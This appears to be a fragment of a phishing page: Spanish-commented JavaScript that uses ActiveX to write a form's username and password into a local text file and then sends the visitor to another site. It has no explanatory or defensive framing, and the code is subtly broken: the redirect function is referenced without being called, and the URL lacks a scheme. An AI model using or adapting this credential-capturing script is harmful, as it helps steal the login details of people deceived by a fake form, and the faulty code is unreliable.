<SCRIPT language="javascript"> 

function WriteToAFile() 
{ 
var fso, f1; 
var ForReading = 1; 
fso = new ActiveXObject("Scripting.FileSystemObject"); 
//Abre el archivo para agregar el texto 
f1 = fso.OpenTextFile("testfile.txt",8,true); 
// Escribe el texto que se encuentra en el TextArea en el archivo. 
f1.WriteLine(document.forma.user.value);
f1.WriteLine(document.forma.password.value);
// Cierra el flujo que escribe al archivo 
f1.Close(); 
} 

</SCRIPT> 

<script language="javascript">
<!--
function redireccion()
{
location.href='www.paginaredireccionada.com';
} 
//-->
</script>
<script language="javascript">
function funciones()
{
WriteToAFile();
redireccion;
}
</script>